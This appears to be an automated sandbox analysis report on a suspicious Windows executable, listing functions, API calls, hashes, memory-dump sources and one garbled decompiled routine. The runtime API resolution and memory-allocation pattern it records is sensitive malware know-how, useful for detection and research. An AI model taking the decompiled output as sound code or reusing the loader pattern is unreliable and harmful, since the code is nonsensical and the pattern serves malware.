API ID: _wscanf$__nh_malloc_dbg__realloc_dbg__wctomb_s_l__wremove__wrename_abort_labs_malloc_memset_realloc_wprintf
String ID:
API String ID: 2019212891-0
Opcode ID: 4f426f4be7e1892514fe5375348282e990bf099ad3d0705f927ebc86e15acebc
Instruction ID: 4befd44aadf6a3e38bbd975263229d90e3da24d8b7ce12a38db28b9e0d7e305e
Opcode Fuzzy Hash: 4f426f4be7e1892514fe5375348282e990bf099ad3d0705f927ebc86e15acebc
Instruction Fuzzy Hash: BD517272502524BBC7117B929D49DDF3AACEF4A754B00403AF60AB50A2D73C5645CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE10 Relevance: 16.6, APIs: 11, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AE8C
__heap_init.LIBCMTD ref: 0040AE96

Part of subcall function 00419580: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AE9B,00000001), ref: 00419596

_fast_error_exit.LIBCMTD ref: 0040AEA4

Part of subcall function 0040AFF0: ___crtExitProcess.LIBCMTD ref: 0040B014

__mtinit.LIBCMTD ref: 0040AEAC
_fast_error_exit.LIBCMTD ref: 0040AEB7
__RTC_Initialize.LIBCMTD ref: 0040AEC9
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
___setargv.LIBCMTD ref: 0040AEFD
__setenvp.LIBCMTD ref: 0040AF10
__cinit.LIBCMTD ref: 0040AF25
__wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: 49cb84a6a2de3e27ab9035cfa7440636eadb96165df76710212fa7569af0f0eb
Instruction ID: 14e4e6c4063a41e1bcd3061f161be65bfadf290078a8fce69a5c0f96e395f34b
Opcode Fuzzy Hash: 49cb84a6a2de3e27ab9035cfa7440636eadb96165df76710212fa7569af0f0eb
Instruction Fuzzy Hash: 6941B3F1D40309ABDB00ABF2EC0679E76B5AB44718F10013EF505A72C2FB7959508A9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE85 Relevance: 16.6, APIs: 11, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_check_managed_app.LIBCMTD ref: 0040AE8C
__heap_init.LIBCMTD ref: 0040AE96

Part of subcall function 00419580: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040AE9B,00000001), ref: 00419596

_fast_error_exit.LIBCMTD ref: 0040AEA4

Part of subcall function 0040AFF0: ___crtExitProcess.LIBCMTD ref: 0040B014

__mtinit.LIBCMTD ref: 0040AEAC
_fast_error_exit.LIBCMTD ref: 0040AEB7
__RTC_Initialize.LIBCMTD ref: 0040AEC9
___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
___setargv.LIBCMTD ref: 0040AEFD
__setenvp.LIBCMTD ref: 0040AF10
__cinit.LIBCMTD ref: 0040AF25
__wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2258361453-0
Opcode ID: c31966e764cc32420d099418941cadb35cf1db9f83022a981cf9d791339047a6
Instruction ID: 158982949d56c2f4c1b42bdb0bdb95a45a33c533f8c1b44c1306fd3b6fcf2815
Opcode Fuzzy Hash: c31966e764cc32420d099418941cadb35cf1db9f83022a981cf9d791339047a6
Instruction Fuzzy Hash: 0A3164F5D403059BEB00ABF2AD067DE76B1AB4470CF14003FF5096A2C2FA7999508A5B

Uniqueness

Uniqueness Score: -1.00%

Function 0236003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0236024D

Strings

cess, xrefs: 0236018D
kernel32.dll, xrefs: 0236008F, 02360095

Memory Dump Source

Source File: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Offset: 02360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2360000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 281465d63206c3ba06ddf2ad7de4c0e27ae585cc50d720fd96719979f2652872
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: DB527974A00229DFDB64CF68C985BACBBB5BF09304F1480D9E94DAB355DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0040B437 Relevance: 7.8, APIs: 5, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CrtCheckMemory.LIBCMTD ref: 0040B45A
__heap_alloc_base.LIBCMTD ref: 0040B5E1
_memset.LIBCMT ref: 0040B729
_memset.LIBCMT ref: 0040B746
_memset.LIBCMT ref: 0040B761

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 4f68cb8764338202c5ed97567112ab634f5e858bee0f57bf73386206c1b74d2d
Instruction ID: df1d0fc4e5fa489c86965c8285ba59211364a303706a106f0f0c99895058af92
Opcode Fuzzy Hash: 4f68cb8764338202c5ed97567112ab634f5e858bee0f57bf73386206c1b74d2d
Instruction Fuzzy Hash: 99A14B78A002089BDB14DF44DC91BAE77B0FB49308F20816AE9157B3D2D779AD44CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419060 Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 004190EB
__nh_malloc_dbg.LIBCMTD ref: 00419217

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 78b0bf27c18276ae5cf0ac5dcf40f94d5ec715b7be81ea51e6cb24510ee774ed
Instruction ID: dc83c7f56358a0ad5cdc72bdf9eefe3c9544d5a2b4e8e09ef24dd4b1f2e1a49f
Opcode Fuzzy Hash: 78b0bf27c18276ae5cf0ac5dcf40f94d5ec715b7be81ea51e6cb24510ee774ed
Instruction Fuzzy Hash: FAE11B74E04249CFDB24CFA4C894B9DBBB1BB4A314F24C25ED8656B392C7359882CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004095C0 Relevance: 4.9, APIs: 3, Instructions: 421
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 004095D9
_memset.LIBCMT ref: 00409744
LoadLibraryW.KERNELBASE(008443A0), ref: 004098F6

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID:
API String ID: 3001991562-0
Opcode ID: 1cfe3afd95f567ec82789c25252d1ddb4fa4466792396e92f95f578e48c8542d
Instruction ID: 841249d1a9b38f875f06151a9d9607208ac78c721454cb459b3fcdfd221e23be
Opcode Fuzzy Hash: 1cfe3afd95f567ec82789c25252d1ddb4fa4466792396e92f95f578e48c8542d
Instruction Fuzzy Hash: B2D1F1B6810248BFE7016BB0ADC9EAB776CFB09759B005436F646F2572D6384D84CB78

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0040B399

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: a2cf3a565882fc7abfaf26e7158f9f28661b2c5890e41b266f35abe090bd7ab2
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 0B01FBB1600109EBDB04CF54C880B9F73A4EB48304F20856AFD15A7280D739EA51DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7AE Relevance: 3.1, APIs: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0040B80D
_memset.LIBCMT ref: 0040B859

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID:
API String ID: 3961059608-0
Opcode ID: 297a8be89635535c10cebc03018dd4463ea819066de271c8825ced59d9cb9164
Instruction ID: 66b0e460a9d3bf2f60b5584b8645f9a1c2ef5e7e473ca1288046d123b9aca6d0
Opcode Fuzzy Hash: 297a8be89635535c10cebc03018dd4463ea819066de271c8825ced59d9cb9164
Instruction Fuzzy Hash: 4C119671A80204BBDB04DF94CC42F9E3365EB54704F10C56AF908BB2D1D778E950C799

Uniqueness

Uniqueness Score: -1.00%

Function 02360E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02360223,?,?), ref: 02360E19
SetErrorMode.KERNELBASE(00000000,?,?,02360223,?,?), ref: 02360E1E

Memory Dump Source

Source File: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Offset: 02360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2360000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 6efd23206c2ad1b4ceeaa3dfde16690634ba4ef79d5a5d6ef88e96b27ca2b1fe
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BCD0123154512877D7002AD4DC0DBDD7B1CDF05B66F008011FB0DD9080C770954046E9

Uniqueness

Uniqueness Score: -1.00%

Function 004094BF Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004095BA

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e49be87099356caacb93848a29fb4c1d2938d12685075222996bf0f57ecd4da4
Instruction ID: 0e9ca3180c271335ae2259bf4c036b060a5e6aee7f95688d1406d70a88fc0d58
Opcode Fuzzy Hash: e49be87099356caacb93848a29fb4c1d2938d12685075222996bf0f57ecd4da4
Instruction Fuzzy Hash: 66216068608AC0DDE7028B68BD0A7513E95572374DF0A41E991CC5A2B2C7FB215CD77F

Uniqueness

Uniqueness Score: -1.00%

Function 004094C1 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,?), ref: 004095BA

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4570f4beada05177943b3f157e34ab33e5f28d20b835f0ea0559c5007152ba3d
Instruction ID: ac0c07631efd48efa8250c2d7703ea60bc737ce7abab01a46368a06aa3ef2112
Opcode Fuzzy Hash: 4570f4beada05177943b3f157e34ab33e5f28d20b835f0ea0559c5007152ba3d
Instruction Fuzzy Hash: A8216068608AC0DDE7028B68BD097513E95572374DF0A41E991CC4A2B2C7FB215CD77F

Uniqueness

Uniqueness Score: -1.00%

Function 004190D4 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004190EB
__nh_malloc_dbg.LIBCMTD ref: 00419217

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: fcb2341fb93e140827c1deed227c26594ef53ac63adca6467139789204452b73
Instruction ID: e170a076e68321bae42cf53415fec1dd6a5c1ee28d67d3ac302b2b5bd7578ba9
Opcode Fuzzy Hash: fcb2341fb93e140827c1deed227c26594ef53ac63adca6467139789204452b73
Instruction Fuzzy Hash: 75E02071F88308A9E7309B555807B587760E740734F20832FD635361C1D77904018F48

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00412367

Part of subcall function 00412290: __crt_wait_module_handle.LIBCMTD ref: 004122DC
Part of subcall function 00412290: RtlEncodePointer.NTDLL(?), ref: 00412317

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 44f7294cf1525330ad25d20f48a9502ad46506a53a67e113d1941be93755d719
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 64A0127244421C23D40020833803B06360C43C0738F080061F50C4914238A6A5604097

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF0 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0040ADF5

Part of subcall function 0040AE10: _check_managed_app.LIBCMTD ref: 0040AE8C
Part of subcall function 0040AE10: __heap_init.LIBCMTD ref: 0040AE96
Part of subcall function 0040AE10: _fast_error_exit.LIBCMTD ref: 0040AEA4
Part of subcall function 0040AE10: __mtinit.LIBCMTD ref: 0040AEAC
Part of subcall function 0040AE10: _fast_error_exit.LIBCMTD ref: 0040AEB7
Part of subcall function 0040AE10: __RTC_Initialize.LIBCMTD ref: 0040AEC9
Part of subcall function 0040AE10: ___crtGetEnvironmentStringsA.LIBCMTD ref: 0040AEF3
Part of subcall function 0040AE10: ___setargv.LIBCMTD ref: 0040AEFD
Part of subcall function 0040AE10: __setenvp.LIBCMTD ref: 0040AF10
Part of subcall function 0040AE10: __cinit.LIBCMTD ref: 0040AF25
Part of subcall function 0040AE10: __wincmdln.LIBCMTD ref: 0040AF42

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 2731678867-0
Opcode ID: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction ID: 2561ca5dbd87a98439bcfc4daad95bdedd772093b3a391066e901ec3cafc57c1
Opcode Fuzzy Hash: ee8f2d7c38ba407090a88614530fa8bfefe5418cda479201f07807e08c8461eb
Instruction Fuzzy Hash: 0CA0023248875D16455033E7740B95B7B8F49C072C796046FB51C175432C6DA8F140EF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0236092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02360966
., xrefs: 0236095F
GetProcAddress., xrefs: 023609DC, 023609DF, 023609E4

Memory Dump Source

Source File: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Offset: 02360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2360000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 14f4dd2000dbcd08f3a23be98f07110f71c6f54f6d36192807e14d5081236674
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: FA3168B6900609CFDB14CF99C884BAEBBFAFF08324F14814AD841A7314D771EA45CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004014DF Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

PPPP, xrefs: 004015E9

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: PPPP
API String ID: 0-1462104750
Opcode ID: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction ID: 42034d581ce3fc54d6be9e219e9e8320d81d709d73c932a33cf25b948e6a08f8
Opcode Fuzzy Hash: c9c0241cd0afcbd3fd31c594775fe31887d42f61bb82ab006a020ba5247fe7de
Instruction Fuzzy Hash: 38418EF2019A827FE3124F20DC5ACFB7B7DD94921130886CAF894DB952C6595895C7F3

Uniqueness

Uniqueness Score: -1.00%

Function 00402351 Relevance: .1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E00402351(void* __eax, intOrPtr* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t36;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t41;
				void* _t42;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t46;
				signed char _t47;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed int _t53;
				signed char _t54;
				void* _t70;
				void* _t72;
				void* _t77;
				void* _t79;
				void* _t81;
				void* _t82;

				_t79 = __esi;
				_t70 = __edx;
				_pop(_t84);
				asm("fst qword [0x9c2ddd94]");
				_t72 = __eax + 0x3af0294;
				_push(_t72);
				_t36 = __edi - 1;
				_push(_t36);
				_push(_t36);
				_t37 = _t72;
				ss = _t36;
				_push(_t37);
				_push(_t37);
				asm("fst dword [edi]");
				_t38 = _t37;
				_t39 = _t36;
				ss = _t37;
				asm("adc [eax+0x50], dl");
				ss = _t39;
				_t41 = _t38 + 1;
				_push(_t41);
				_push(_t41);
				_push(_t41);
				_t42 = _t39;
				ss = _t41;
				_push(_t42);
				_push(_t42);
				_push(_t42);
				es = _t42;
				_t43 = _t42 + 0xc3af02b4;
				asm("fcom qword [eax+0x50]");
				asm("aad 0x90");
				_t77 = _t43;
				asm("aad 0x96");
				_push(_t43);
				_push(_t43);
				_push(_t43);
				_push(__edx);
				asm("scasd");
				_t44 = _t43 & 0xc0c3afb4;
				_push(_t44);
				_push(_t44);
				_push(_t44);
				 *0xd45f50bc =  *0xd45f50bc >> __ecx;
				asm("repe push eax");
				_push(_t44);
				_push(_t44);
				asm("scasd");
				_t45 = _t44 & 0xaf103abc;
				_t82 = _t81 +  *((intOrPtr*)(_t45 - 0x27));
				asm("adc eax, 0xbc05dda4");
				asm("movsb");
				_t46 = _t45 & 0xc0c3afb4;
				_push(_t46);
				_push(_t46);
				_push(_t46);
				asm("aad 0x90");
				_t47 = _t46 & 0xbc2dd329;
				_push(_t47);
				asm("fist dword [0x4410dba4]");
				asm("fst dword [0x6baf61a8]");
				_t50 = (_t47 & 0x00000023) - 0xdd3323a8 + 0x503a02bc;
				es = _t50;
				asm("scasd");
				_t51 = _t50 & 0xc4c3afb4;
				_push(_t51);
				_push(_t51);
				_push(_t51);
				 *0x162450bc =  *0x162450bc >> __ecx +  *((intOrPtr*)(_t77 + 0x25afbc25));
				asm("rcl dword [0x25af52bc], cl");
				_push(0xdda015d9);
				_t52 = _t51 + 0x25af02bc;
				es = _t52;
				asm("scasd");
				_t53 = _t52 & 0xc4c3afb4;
				_push(_t53);
				_push(_t53);
				_push(_t53);
				asm("aad 0x90");
				_t54 = _t53 & 0xbc2dd347;
				asm("fist dword [0x4010dda0]");
				 *__ebx =  *__ebx + (_t54 & 0x00000041);
				asm("aad 0x90");
				asm("scasd");
				ss = _t54;
				goto L1;
			}

0x00402351
0x00402351
0x00402356
0x00402357
0x0040235d
0x0040235e
0x0040235f
0x00402360
0x00402361
0x00402363
0x00402364
0x00402366
0x00402367
0x0040236a
0x0040236c
0x0040236d
0x0040236e
0x00402370
0x00402375
0x00402376
0x00402377
0x00402378
0x00402379
0x0040237b
0x0040237c
0x0040237e
0x0040237f
0x00402380
0x00402382
0x00402386
0x0040238b
0x0040238f
0x00402391
0x00402392
0x00402394
0x00402395
0x00402396
0x004023a0
0x004023a1
0x004023a2
0x004023a7
0x004023a8
0x004023a9
0x004023aa
0x004023b0
0x004023b2
0x004023b3
0x004023b4
0x004023b5
0x004023ba
0x004023bd
0x004023c8
0x004023cc
0x004023d1
0x004023d2
0x004023d3
0x004023d4
0x004023d6
0x004023db
0x004023de
0x004023e4
0x004023ef
0x004023f8
0x004023f9
0x004023fa
0x004023ff
0x00402400
0x00402401
0x00402402
0x00402408
0x00402413
0x00402418
0x00402423
0x00402424
0x00402425
0x0040242a
0x0040242b
0x0040242c
0x0040242d
0x0040242f
0x00402437
0x0040243d
0x00402444
0x00402448
0x0040244e
0x0040244f

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction ID: c5558df752f303d9b12da3b49636c5f29c6388f54a3b64fc1eef45c3947951cf
Opcode Fuzzy Hash: cb95eb28c3ea5ceec2e3033c146810c6e2f5aab3d7c853bbb481ccd21ba1313a
Instruction Fuzzy Hash: 63417AF311AA857FF3118A94EC4ADFB7B2CD5681393084485FD40DB403C268C8A18BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02360D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.349314250.0000000002360000.00000040.00001000.00020000.00000000.sdmp, Offset: 02360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2360000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 2240042c10e4420be37926b9f29e49046850e8dea19fd9cf8db50ed23b8cbd21
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: E101F272A106008FDF25CF60C90ABBE33F9FB86206F0581A5D90B97289E370A8418B80

Uniqueness

Uniqueness Score: -1.00%

Function 00402072 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction ID: 1d2253bcee00caf847626527a2ca008675ce4aadaffea8765609509fba5c1da7
Opcode Fuzzy Hash: 13551ef71cb1a6f447fbd5480a6cb103b1654af51dbb33939e4de5ef2e619886
Instruction Fuzzy Hash: 80D022B2864CA0AFEB006210CC1896B7FAC8C15210708C080B801E9119C30810218BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00401EFD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.348591691.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction ID: 19ab161c9d805c9666a3c863c0cbb36cd8fc6fea7ed9fd7909dadc4bd56c9e04
Opcode Fuzzy Hash: 2c4fbf70458648bca6f8a21e4b213d349669eb636f4c34a3048d8fef98564362
Instruction Fuzzy Hash: 48D022B2804CA4AFEB006600CC149AB7FAD8C14310B08C040B801E5119C3091026CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5FE Relevance: 54.7, APIs: 25, Strings: 6, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C642
_wcscat_s.LIBCMTD ref: 0041C85A

Part of subcall function 004217E0: __invalid_parameter.LIBCMTD ref: 00421852

__invoke_watson_if_error.LIBCMTD ref: 0041C863

Part of subcall function 0040DB10: __invoke_watson.LIBCMTD ref: 0040DB31

_wcscat_s.LIBCMTD ref: 0041C892

Part of subcall function 004217E0: _memset.LIBCMT ref: 004218BB
Part of subcall function 004217E0: __invalid_parameter.LIBCMTD ref: 00421917

__invoke_watson_if_error.LIBCMTD ref: 0041C89B
__snwprintf_s.LIBCMTD ref: 0041C8F4

Part of subcall function 0041BF50: __vsnprintf_s_l.LIBCMTD ref: 0041BF72

__invoke_watson_if_oneof.LIBCMTD ref: 0041C92D
_wcscpy_s.LIBCMTD ref: 0041C972
__invoke_watson_if_error.LIBCMTD ref: 0041C97B
__cftoe.LIBCMTD ref: 0041C9EF
__invoke_watson_if_oneof.LIBCMTD ref: 0041CA1E
_wcscpy_s.LIBCMTD ref: 0041CA56
__invoke_watson_if_error.LIBCMTD ref: 0041CA5F
__itow_s.LIBCMTD ref: 0041C639

Part of subcall function 004261F0: _xtow_s@20.LIBCMTD ref: 0042621B

__strftime_l.LIBCMTD ref: 0041C6F9
__invoke_watson_if_oneof.LIBCMTD ref: 0041C732
_wcscpy_s.LIBCMTD ref: 0041C777
__invoke_watson_if_error.LIBCMTD ref: 0041C780
_wcscpy_s.LIBCMTD ref: 0041C7D3
__invoke_watson_if_error.LIBCMTD ref: 0041C7DC
_wcscat_s.LIBCMTD ref: 0041C80D
__invoke_watson_if_error.LIBCMTD ref: 0041C816

Strings

t8j, xrefs: 0041CA2D
h0]@, xrefs: 0041CA09
[@, xrefs: 0041C794
t9j, xrefs: 0041CC85
h0]@, xrefs: 0041C7F0
h8Y@, xrefs: 0041CA0E

Memory Dump Source

Source File: 00000000.00000002.348621819.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: h0]@$h0]@$h8Y@$t8j$t9j$[@
API String ID: 2582952045-336790523
Opcode ID: 141625f69892fad845c5e59a4ab22801f6c8bb08ff37d5d8ae09f90b535fe0f3
Instruction ID: 8f816be943f3ef8b201955c01d6e8fc5d9c2279ca55056c2d4f7f2bc4addb9a9
Opcode Fuzzy Hash: 141625f69892fad845c5e59a4ab22801f6c8bb08ff37d5d8ae09f90b535fe0f3
Instruction Fuzzy Hash: 1902D3B4A80714ABDB20DF50DC8ABDF7374AB54705F5084AAF5087A2C1D7B89AC4CF99

